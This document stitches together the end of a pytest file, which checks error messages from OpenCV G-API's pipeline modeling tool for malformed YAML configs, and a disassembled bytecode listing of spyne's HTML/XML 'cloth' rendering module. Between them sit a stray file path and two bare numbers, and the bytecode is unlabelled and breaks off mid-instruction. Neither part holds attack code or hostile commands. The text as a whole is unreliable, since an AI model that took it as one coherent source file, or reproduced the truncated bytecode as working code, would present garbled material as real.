[1,2,3,4] precision: 'U8' nodes: - name: 'Node' type: 'Infer' blob: 'model.blob' device: 'CPU' input_layers: - 'in_layer_name_0' - 'in_layer_name_1' output_layers: - 'out_layer_name' edges: - from: 'Src' to: 'Node:0' - from: 'Node:0' to: 'Node:1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipeline: PL1 has cyclic dependencies") def test_error_has_cycle_0(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Infer' blob: 'model.blob' device: 'CPU' input_layers: - 'in_layer_name_0' - 'in_layer_name_1' output_layers: - 'out_layer_name' - name: 'Node1' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0:0' - from: 'Node0:0' to: 'Node1:0' - from: 'Node1' to: 'Node0:1'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Pipeline: PL1 has cyclic dependencies") def test_error_no_load_config_exists(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --load_config=not_existing.yml".format( pipeline_modeling_tool, cfg_file ) out = get_output(exec_str) assert "Failed to load config: not_existing.yml" in out def test_error_invalid_app_mode(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --pl_mode=unknown".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Unsupported PLMode: unknown\n" "Please chose between: streaming and regular" ) def test_error_invalid_pl_mode(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --app_mode=unknown".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith( "Unsupported AppMode: unknown\n" "Please chose between: realtime and benchmark" ) def test_error_drop_frames_with_streaming(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={} --pl_mode=streaming --drop_frames".format( pipeline_modeling_tool, cfg_file ) out = get_output(exec_str) assert out.startswith( '--drop_frames option is supported only for pipelines in "regular" mode' ) def test_incorrect_call_every_nth(): cfg_file = """\"%YAML:1.0 work_time: 1000 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,2,3,4] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' call_every_nth: {}\" """ error = "Node0 call_every_nth must be greater than zero\nCurrent call_every_nth: {}" def check(cfg_file, call_every_nth): out = get_output( "{} --cfg={}".format( pipeline_modeling_tool, cfg_file.format(call_every_nth) ) ) assert out.startswith(error.format(call_every_nth)) check(cfg_file, -3) check(cfg_file, 0) def test_error_no_worktime_and_num_iters(): cfg_file = """\"%YAML:1.0 Pipelines: PL1: source: name: 'Src' latency: 20 output: dims: [1,1] precision: 'U8' nodes: - name: 'Node0' type: 'Dummy' time: 0.2 output: dims: [1,2,3,4] precision: 'U8' edges: - from: 'Src' to: 'Node0'\" """ exec_str = "{} --cfg={}".format(pipeline_modeling_tool, cfg_file) out = get_output(exec_str) assert out.startswith("Failed: Pipeline PL1 doesn't have stop criterion!")
data/opencv-python-headless-4.9.0.80/opencv/modules/gapi/samples/pipeline_modeling_tool/test_pipeline_modeling_tool.py
13,078
8,990
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LOAD_CONST 0 LOAD_CONST ('print_function',) IMPORT_NAME __future__ IMPORT_FROM print_function STORE_NAME print_function POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME logging STORE_NAME logging LOAD_NAME logging LOAD_METHOD getLogger LOAD_CONST '%s.cloth' LOAD_NAME __name__ BINARY_MODULO CALL_METHOD STORE_NAME logger_c LOAD_NAME logging LOAD_METHOD getLogger LOAD_CONST '%s.serializer' LOAD_NAME __name__ BINARY_MODULO CALL_METHOD STORE_NAME logger_s LOAD_CONST 0 LOAD_CONST ('html', 'etree') IMPORT_NAME lxml IMPORT_FROM html STORE_NAME html IMPORT_FROM etree STORE_NAME etree POP_TOP LOAD_CONST 0 LOAD_CONST ('deepcopy',) IMPORT_NAME copy IMPORT_FROM deepcopy STORE_NAME deepcopy POP_TOP LOAD_CONST 0 LOAD_CONST ('isgenerator',) IMPORT_NAME inspect IMPORT_FROM isgenerator STORE_NAME isgenerator POP_TOP LOAD_CONST 0 LOAD_CONST ('Break', 'coroutine') IMPORT_NAME spyne.util IMPORT_FROM Break STORE_NAME Break IMPORT_FROM coroutine STORE_NAME coroutine POP_TOP LOAD_CONST 0 LOAD_CONST ('oset',) IMPORT_NAME spyne.util.oset IMPORT_FROM oset STORE_NAME oset POP_TOP LOAD_CONST 0 LOAD_CONST ('string_types',) IMPORT_NAME spyne.util.six IMPORT_FROM string_types STORE_NAME string_types POP_TOP LOAD_CONST 0 LOAD_CONST ('R', 'B') IMPORT_NAME spyne.util.color IMPORT_FROM R STORE_NAME R IMPORT_FROM B STORE_NAME B POP_TOP LOAD_CONST 0 LOAD_CONST ('Array', 'AnyXml', 'AnyHtml', 'ModelBase', 'ComplexModelBase', 'PushBase', 'XmlAttribute', 'AnyUri', 'XmlData', 'Any') IMPORT_NAME spyne.model IMPORT_FROM Array STORE_NAME Array IMPORT_FROM AnyXml STORE_NAME AnyXml IMPORT_FROM AnyHtml STORE_NAME AnyHtml IMPORT_FROM ModelBase STORE_NAME ModelBase IMPORT_FROM ComplexModelBase STORE_NAME ComplexModelBase IMPORT_FROM PushBase STORE_NAME PushBase IMPORT_FROM XmlAttribute STORE_NAME XmlAttribute IMPORT_FROM AnyUri STORE_NAME AnyUri IMPORT_FROM XmlData STORE_NAME XmlData IMPORT_FROM Any STORE_NAME Any POP_TOP LOAD_CONST 0 LOAD_CONST ('OutProtocolBase',) IMPORT_NAME spyne.protocol IMPORT_FROM OutProtocolBase STORE_NAME OutProtocolBase POP_TOP LOAD_CONST 0 LOAD_CONST ('cdict',) IMPORT_NAME spyne.util.cdict IMPORT_FROM cdict STORE_NAME cdict POP_TOP LOAD_CONST <code object <lambda> at 0x7fab822f9930, file "f.py", line 32> LOAD_CONST '<lambda>' MAKE_FUNCTION STORE_NAME _revancestors LOAD_NAME type LOAD_CONST '_NODATA' LOAD_NAME object BUILD_TUPLE BUILD_MAP CALL_FUNCTION STORE_NAME _NODATA LOAD_CONST (None,) LOAD_CONST <code object _prevsibls at 0x7fab822f9390, file "f.py", line 37> LOAD_CONST '_prevsibls' MAKE_FUNCTION STORE_NAME _prevsibls LOAD_CONST <code object _prevsibls_since at 0x7fab641e7030, file "f.py", line 41> LOAD_CONST '_prevsibls_since' MAKE_FUNCTION STORE_NAME _prevsibls_since LOAD_CONST ('mrpc', 'id', 'data', 'data', 'attr', 'root', 'tagbag') LOAD_CONST <code object _set_identifier_prefix at 0x7fab641e75d0, file "f.py", line 58> LOAD_CONST '_set_identifier_prefix' MAKE_FUNCTION STORE_NAME _set_identifier_prefix LOAD_BUILD_CLASS LOAD_CONST <code object ClothParserMixin at 0x7fab542616f0, file "f.py", line 90> LOAD_CONST 'ClothParserMixin' MAKE_FUNCTION LOAD_CONST 'ClothParserMixin' LOAD_NAME object CALL_FUNCTION STORE_NAME ClothParserMixin LOAD_NAME _set_identifier_prefix LOAD_NAME ClothParserMixin LOAD_NAME ClothParserMixin LOAD_ATTR ID_PREFIX CALL_FUNCTION POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object ToClothMixin at 0x7faad431dc00, file "f.py", line 180> LOAD_CONST 'ToClothMixin' MAKE_FUNCTION LOAD_CONST 'ToClothMixin' LOAD_NAME OutProtocolBase LOAD_NAME ClothParserMixin CALL_FUNCTION STORE_NAME ToClothMixin LOAD_CONST None RETURN_VALUE LOAD_GLOBAL list LOAD_GLOBAL reversed LOAD_GLOBAL tuple LOAD_FAST elt LOAD_METHOD iterancestors CALL_METHOD CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL reversed LOAD_GLOBAL list LOAD_GLOBAL _prevsibls_since LOAD_FAST elt LOAD_FAST strip_comments LOAD_FAST since CALL_FUNCTION CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST since LOAD_FAST elt COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE SETUP_LOOP to 94 LOAD_FAST elt LOAD_ATTR itersiblings LOAD_CONST True LOAD_CONST ('preceding',) CALL_FUNCTION GET_ITER FOR_ITER to 92 STORE_FAST prevsibl LOAD_FAST prevsibl LOAD_FAST since COMPARE_OP is POP_JUMP_IF_FALSE BREAK_LOOP LOAD_FAST strip_comments POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST elt LOAD_GLOBAL etree LOAD_ATTR CommentBase CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST elt LOAD_ATTR text LOAD_METHOD startswith LOAD_CONST '[if ' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST elt LOAD_ATTR text LOAD_METHOD endswith LOAD_CONST '[endif]' CALL_METHOD POP_JUMP_IF_FALSE JUMP_FORWARD to 84 JUMP_ABSOLUTE LOAD_FAST prevsibl YIELD_VALUE POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST prefix LOAD_FAST obj STORE_ATTR ID_PREFIX LOAD_CONST '{}{}' LOAD_METHOD format LOAD_FAST prefix LOAD_FAST mrpc_id CALL_METHOD LOAD_FAST obj STORE_ATTR MRPC_ID LOAD_CONST '{}{}' LOAD_METHOD format LOAD_FAST prefix LOAD_FAST id_attr CALL_METHOD LOAD_FAST obj STORE_ATTR ID_ATTR_NAME LOAD_CONST '{}{}' LOAD_METHOD format LOAD_FAST prefix LOAD_FAST data_tag CALL_METHOD LOAD_FAST obj STORE_ATTR DATA_TAG_NAME LOAD_CONST '{}{}' LOAD_METHOD format LOAD_FAST prefix LOAD_FAST data_attr CALL_METHOD LOAD_FAST obj STORE_ATTR DATA_ATTR_NAME LOAD_CONST '{}{}' LOAD_METHOD format LOAD_FAST prefix LOAD_FAST attr_attr CALL_METHOD LOAD_FAST obj STORE_ATTR ATTR_ATTR_NAME LOAD_CONST '{}{}' LOAD_METHOD format LOAD_FAST prefix LOAD_FAST root_attr CALL_METHOD LOAD_FAST obj STORE_ATTR ROOT_ATTR_NAME LOAD_CONST '{}{}' LOAD_METHOD format LOAD_FAST prefix LOAD_FAST tagbag_attr CALL_METHOD LOAD_FAST obj STORE_ATTR TAGBAG_ATTR_NAME LOAD_CONST '{}write-contents' LOAD_METHOD format LOAD_FAST prefix CALL_METHOD LOAD_FAST obj STORE_ATTR WRITE_CONTENTS_WHEN_NOT_NONE LOAD_FAST obj LOAD_ATTR ID_ATTR_NAME LOAD_FAST obj LOAD_ATTR DATA_ATTR_NAME LOAD_FAST obj LOAD_ATTR ATTR_ATTR_NAME LOAD_FAST obj LOAD_ATTR ROOT_ATTR_NAME LOAD_FAST obj LOAD_ATTR TAGBAG_ATTR_NAME LOAD_FAST obj LOAD_ATTR WRITE_CONTENTS_WHEN_NOT_NONE BUILD_SET LOAD_FAST obj STORE_ATTR SPYNE_ATTRS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ClothParserMixin' STORE_NAME __qualname__ LOAD_CONST 'spyne-' STORE_NAME ID_PREFIX LOAD_CONST 'spyne-id' STORE_NAME ID_ATTR_NAME LOAD_CONST 'spyne-data' STORE_NAME DATA_TAG_NAME LOAD_CONST 'spyne-data' STORE_NAME DATA_ATTR_NAME LOAD_CONST 'spyne-attr' STORE_NAME ATTR_ATTR_NAME LOAD_CONST 'spyne-root' STORE_NAME ROOT_ATTR_NAME LOAD_CONST 'spyne-tagbag' STORE_NAME TAGBAG_ATTR_NAME LOAD_CONST 'spyne-write-contents' STORE_NAME WRITE_CONTENTS_WHEN_NOT_NONE LOAD_CONST <code object set_identifier_prefix at 0x7fab641e7e40, file "f.py", line 101> LOAD_CONST 'ClothParserMixin.set_identifier_prefix' MAKE_FUNCTION STORE_NAME set_identifier_prefix LOAD_NAME classmethod LOAD_CONST (True,) LOAD_CONST <code object from_xml_cloth at 0x7fab54261420, file "f.py", line 105> LOAD_CONST 'ClothParserMixin.from_xml_cloth' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_xml_cloth LOAD_NAME classmethod LOAD_CONST (True,) LOAD_CONST <code object from_html_cloth at 0x7fab54261db0, file "f.py", line 113> LOAD_CONST 'ClothParserMixin.from_html_cloth' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_html_cloth LOAD_NAME staticmethod LOAD_CONST <code object _strip_comments at 0x7fab54261150, file "f.py", line 121> LOAD_CONST 'ClothParserMixin._strip_comments' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _strip_comments LOAD_CONST <code object _parse_file at 0x7fab54261a50, file "f.py", line 131> LOAD_CONST 'ClothParserMixin._parse_file' MAKE_FUNCTION STORE_NAME _parse_file LOAD_CONST <code object _init_cloth at 0x7fab54261300, file "f.py", line 135> LOAD_CONST 'ClothParserMixin._init_cloth' MAKE_FUNCTION STORE_NAME _init_cloth LOAD_CONST <code object _pop_elt at 0x7fab542614b0, file "f.py", line 165> LOAD_CONST 'ClothParserMixin._pop_elt' MAKE_FUNCTION STORE_NAME _pop_elt LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _set_identifier_prefix LOAD_FAST self LOAD_FAST what CALL_FUNCTION POP_TOP LOAD_FAST self RETURN_VALUE LOAD_FAST cls CALL_FUNCTION STORE_FAST retval LOAD_FAST retval LOAD_ATTR _init_cloth LOAD_FAST cloth LOAD_GLOBAL etree LOAD_METHOD XMLParser CALL_METHOD LOAD_FAST strip_comments LOAD_CONST ('cloth_parser', 'strip_comments') CALL_FUNCTION POP_TOP LOAD_FAST retval RETURN_VALUE LOAD_FAST cls CALL_FUNCTION STORE_FAST retval LOAD_FAST retval LOAD_ATTR _init_cloth LOAD_FAST cloth LOAD_GLOBAL html LOAD_METHOD HTMLParser CALL_METHOD LOAD_FAST strip_comments LOAD_CONST ('cloth_parser', 'strip_comments') CALL_FUNCTION POP_TOP LOAD_FAST retval RETURN_VALUE SETUP_LOOP to 82 LOAD_FAST root LOAD_METHOD iter CALL_METHOD GET_ITER FOR_ITER to 80 STORE_FAST elt LOAD_GLOBAL isinstance LOAD_FAST elt LOAD_GLOBAL etree LOAD_ATTR CommentBase CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST elt LOAD_METHOD getparent CALL_METHOD LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST elt LOAD_ATTR text LOAD_METHOD startswith LOAD_CONST '[if ' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST elt LOAD_ATTR text LOAD_METHOD endswith LOAD_CONST '[endif]' CALL_METHOD POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST elt LOAD_METHOD getparent CALL_METHOD LOAD_METHOD remove LOAD_FAST elt CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL etree LOAD_ATTR parse LOAD_FAST file_name LOAD_FAST cloth_parser LOAD_CONST ('parser',) CALL_FUNCTION STORE_FAST cloth LOAD_FAST cloth LOAD_METHOD getroot CALL_METHOD RETURN_VALUE LOAD_CONST None LOAD_FAST self STORE_ATTR _cloth LOAD_CONST None LOAD_FAST self STORE_ATTR _root_cloth LOAD_FAST strip_comments LOAD_FAST self STORE_ATTR strip_comments LOAD_CONST None DUP_TOP LOAD_FAST self STORE_ATTR _mrpc_cloth LOAD_FAST self STORE_ATTR _root_cloth LOAD_FAST cloth LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST cloth LOAD_GLOBAL string_types CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _parse_file LOAD_FAST cloth LOAD_FAST cloth_parser CALL_METHOD STORE_FAST cloth LOAD_FAST strip_comments POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _strip_comments LOAD_FAST cloth CALL_METHOD POP_TOP LOAD_CONST '//*[@%s]' LOAD_FAST self LOAD_ATTR ROOT_ATTR_NAME BINARY_MODULO STORE_FAST q LOAD_FAST cloth LOAD_METHOD xpath LOAD_FAST q CALL_METHOD STORE_FAST elts LOAD_GLOBAL len LOAD_FAST elts CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST 'Using %r as root cloth.' LOAD_FAST cloth CALL_METHOD POP_TOP LOAD_FAST elts LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST self STORE_ATTR _root_cloth JUMP_FORWARD to 152 LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST 'Using %r as plain cloth.' LOAD_FAST cloth CALL_METHOD POP_TOP LOAD_FAST cloth LOAD_FAST self STORE_ATTR _cloth LOAD_FAST self LOAD_METHOD _pop_elt LOAD_FAST cloth LOAD_CONST 'mrpc_entry' CALL_METHOD LOAD_FAST self STORE_ATTR _mrpc_cloth LOAD_CONST None RETURN_VALUE LOAD_CONST '//*[@%s="%s"]' LOAD_FAST self LOAD_ATTR ID_ATTR_NAME LOAD_FAST what BUILD_TUPLE BINARY_MODULO STORE_FAST query LOAD_FAST elt LOAD_METHOD xpath LOAD_FAST query CALL_METHOD STORE_FAST retval LOAD_GLOBAL len LOAD_FAST retval CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'more than one element found for query %r' LOAD_FAST query BINARY_MODULO CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 92 LOAD_GLOBAL len LOAD_FAST retval CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST retval LOAD_CONST 0 BINARY_SUBSCR STORE_FAST retval LOAD_GLOBAL next LOAD_FAST retval LOAD_METHOD iterancestors CALL_METHOD CALL_FUNCTION LOAD_METHOD remove LOAD_FAST retval CALL_METHOD POP_TOP LOAD_FAST retval RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ToClothMixin' STORE_NAME __qualname__ LOAD_CONST (None, None, False, False, True) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7fab542618a0, file "f.py", line 181> LOAD_CONST 'ToClothMixin.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (None,) LOAD_CONST <code object _get_elts at 0x7fab542610c0, file "f.py", line 208> LOAD_CONST 'ToClothMixin._get_elts' MAKE_FUNCTION STORE_NAME _get_elts LOAD_CONST (None,) LOAD_CONST <code object _get_outmost_elts at 0x7fab54261e40, file "f.py", line 215> LOAD_CONST 'ToClothMixin._get_outmost_elts' MAKE_FUNCTION STORE_NAME _get_outmost_elts LOAD_CONST <code object _get_clean_elt at 0x7fab54261030, file "f.py", line 236> LOAD_CONST 'ToClothMixin._get_clean_elt' MAKE_FUNCTION STORE_NAME _get_clean_elt LOAD_CONST <code object _get_elts_by_id at 0x7fab542611e0, file "f.py", line 247> LOAD_CONST 'ToClothMixin._get_elts_by_id' MAKE_FUNCTION STORE_NAME _get_elts_by_id LOAD_CONST <code object _is_tagbag at 0x7fab54261ed0, file "f.py", line 252> LOAD_CONST 'ToClothMixin._is_tagbag' MAKE_FUNCTION STORE_NAME _is_tagbag LOAD_NAME staticmethod LOAD_CONST <code object _methods at 0x7fab54261c90, file "f.py", line 255> LOAD_CONST 'ToClothMixin._methods' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _methods LOAD_CONST <code object _actions_to_cloth at 0x7fab700db930, file "f.py", line 269> LOAD_CONST 'ToClothMixin._actions_to_cloth' MAKE_FUNCTION STORE_NAME _actions_to_cloth BUILD_MAP LOAD_CONST False LOAD_CONST None LOAD_CONST False BUILD_TUPLE LOAD_CONST <code object _enter_cloth at 0x7fab700dbd20, file "f.py", line 291> LOAD_CONST 'ToClothMixin._enter_cloth' MAKE_FUNCTION STORE_NAME _enter_cloth LOAD_CONST <code object _close_cloth at 0x7fab700db390, file "f.py", line 471> LOAD_CONST 'ToClothMixin._close_cloth' MAKE_FUNCTION STORE_NAME _close_cloth LOAD_NAME coroutine LOAD_CONST (False,) LOAD_CONST <code object to_parent_cloth at 0x7fab700db660, file "f.py", line 501> LOAD_CONST 'ToClothMixin.to_parent_cloth' MAKE_FUNCTION CALL_FUNCTION STORE_NAME to_parent_cloth LOAD_NAME coroutine LOAD_CONST <code object to_root_cloth at 0x7fab700dbdb0, file "f.py", line 523> LOAD_CONST 'ToClothMixin.to_root_cloth' MAKE_FUNCTION CALL_FUNCTION STORE_NAME to_root_cloth LOAD_NAME coroutine LOAD_CONST (None, False, False, False) LOAD_CONST <code object to_cloth at 0x7fab700dbe40, file "f.py", line 543> LOAD_CONST 'ToClothMixin.to_cloth' MAKE_FUNCTION CALL_FUNCTION STORE_NAME to_cloth LOAD_CONST <code object model_base_to_cloth at 0x7faad431de40, file "f.py", line 690> LOAD_CONST 'ToClothMixin.model_base_to_cloth' MAKE_FUNCTION STORE_NAME model_base_to_cloth LOAD_CONST <code object xml_to_cloth at 0x7faad431d4b0, file "f.py", line 702> LOAD_CONST 'ToClothMixin.xml_to_cloth' MAKE_FUNCTION STORE_NAME xml_to_cloth LOAD_CONST <code object any_to_cloth at 0x7faad431df60, file "f.py", line 709> LOAD_CONST 'ToClothMixin.any_to_cloth' MAKE_FUNCTION STORE_NAME any_to_cloth LOAD_CONST <code object html_to_cloth at 0x7faad431d930, file "f.py", line 714> LOAD_CONST 'ToClothMixin.html_to_cloth' MAKE_FUNCTION STORE_NAME html_to_cloth LOAD_CONST <code object any_uri_to_cloth at 0x7faad431d810, file "f.py", line 721> LOAD_CONST 'ToClothMixin.any_uri_to_cloth' MAKE_FUNCTION STORE_NAME any_uri_to_cloth LOAD_NAME coroutine LOAD_CONST (None, False) LOAD_CONST <code object complex_to_cloth at 0x7faad431d1e0, file "f.py", line 726> LOAD_CONST 'ToClothMixin.complex_to_cloth' MAKE_FUNCTION CALL_FUNCTION STORE_NAME complex_to_cloth LOAD_CONST <code object _process_field at 0x7faad431db70, file "f.py", line 821> LOAD_CONST 'ToClothMixin._process_field' MAKE_FUNCTION STORE_NAME _process_field LOAD_NAME coroutine LOAD_CONST (None,) LOAD_CONST <code object array_to_cloth at 0x7faad431d5d0, file "f.py", line 876> LOAD_CONST 'ToClothMixin.array_to_cloth' MAKE_FUNCTION CALL_FUNCTION STORE_NAME array_to_cloth LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL ToClothMixin LOAD_FAST self CALL_FUNCTION LOAD_ATTR __init__ LOAD_FAST app LOAD_FAST mime_type LOAD_FAST ignore_uncap LOAD_FAST ignore_wrappers LOAD_CONST ('app', 'mime_type', 'ignore_uncap', 'ignore_wrappers') CALL_FUNCTION POP_TOP LOAD_FAST polymorphic LOAD_FAST self STORE_ATTR polymorphic LOAD_GLOBAL cdict LOAD_GLOBAL ModelBase LOAD_FAST self LOAD_ATTR model_base_to_cloth LOAD_GLOBAL AnyXml LOAD_FAST self LOAD_ATTR xml_to_cloth LOAD_GLOBAL Any LOAD_FAST self LOAD_ATTR any_to_cloth LOAD_GLOBAL AnyHtml LOAD_FAST self LOAD_ATTR html_to_cloth LOAD_GLOBAL AnyUri LOAD_FAST self LOAD_ATTR any_uri_to_cloth LOAD_GLOBAL ComplexModelBase LOAD_FAST self LOAD_ATTR complex_to_cloth BUILD_MAP CALL_FUNCTION LOAD_FAST self STORE_ATTR rendering_handlers LOAD_CONST None RETURN_VALUE LOAD_FAST tag_id LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST elt LOAD_METHOD xpath LOAD_CONST './/*[@*[starts-with(name(), "%s")]]' LOAD_FAST self LOAD_ATTR ID_PREFIX BINARY_MODULO CALL_METHOD RETURN_VALUE LOAD_FAST elt LOAD_METHOD xpath LOAD_CONST './/*[@*[starts-with(name(), "%s")]="%s"]' LOAD_FAST self LOAD_ATTR ID_PREFIX LOAD_FAST tag_id BUILD_TUPLE BINARY_MODULO CALL_METHOD RETURN_VALUE LOAD_GLOBAL set CALL_FUNCTION STORE_FAST ids SETUP_LOOP to 150 LOAD_FAST self LOAD_METHOD _get_elts LOAD_FAST tmpl LOAD_FAST tag_id CALL_METHOD GET_ITER FOR_ITER to 148 STORE_FAST elt LOAD_FAST elt LOAD_FAST tmpl COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST "Don't send myself" CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_GLOBAL len LOAD_GLOBAL set LOAD_CONST <code object <genexpr> at 0x7fab542619c0, file "f.py", line 223> LOAD_CONST 'ToClothMixin._get_outmost_elts.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST elt LOAD_METHOD iterancestors CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION LOAD_FAST ids BINARY_AND CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST "Don't send grandchildren" CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_GLOBAL id LOAD_FAST elt CALL_FUNCTION LOAD_FAST ids COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST "Don't send what's already been sent" CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST self LOAD_ATTR ID_ATTR_NAME LOAD_FAST elt LOAD_ATTR attrib COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST ids LOAD_METHOD add LOAD_GLOBAL id LOAD_FAST elt CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST elt YIELD_VALUE POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 18 STORE_FAST e LOAD_GLOBAL id LOAD_FAST e CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST '//*[@%s="%s"]' LOAD_FAST self LOAD_ATTR ID_ATTR_NAME LOAD_FAST what BUILD_TUPLE BINARY_MODULO STORE_FAST query LOAD_FAST elt LOAD_METHOD xpath LOAD_FAST query CALL_METHOD STORE_FAST retval LOAD_GLOBAL len LOAD_FAST retval CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'more than one element found for query %r' LOAD_FAST query BINARY_MODULO CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 84 LOAD_GLOBAL len LOAD_FAST retval CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST retval LOAD_CONST 0 BINARY_SUBSCR STORE_FAST retval LOAD_FAST retval LOAD_ATTR attrib LOAD_FAST self LOAD_ATTR ID_ATTR_NAME DELETE_SUBSCR LOAD_FAST retval RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST elt LOAD_METHOD xpath LOAD_CONST '//*[@id="%s"]' LOAD_FAST what BINARY_MODULO CALL_METHOD STORE_FAST retval LOAD_GLOBAL logger_c LOAD_METHOD debug LOAD_CONST 'id=%r got %r' LOAD_FAST what LOAD_FAST retval CALL_METHOD POP_TOP LOAD_FAST retval RETURN_VALUE LOAD_FAST self LOAD_ATTR TAGBAG_ATTR_NAME LOAD_FAST elt LOAD_ATTR attrib COMPARE_OP in RETURN_VALUE SETUP_LOOP to 40 LOAD_FAST cls LOAD_ATTR Attributes LOAD_ATTR _wrapper POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST cls LOAD_ATTR _type_info CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _type_info LOAD_METHOD values CALL_METHOD UNPACK_SEQUENCE STORE_FAST cls JUMP_ABSOLUTE POP_BLOCK LOAD_FAST cls LOAD_ATTR Attributes LOAD_ATTR methods LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE SETUP_LOOP to 118 LOAD_FAST cls LOAD_ATTR Attributes LOAD_ATTR methods LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 116 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_CONST True STORE_FAST is_shown LOAD_FAST v LOAD_ATTR when 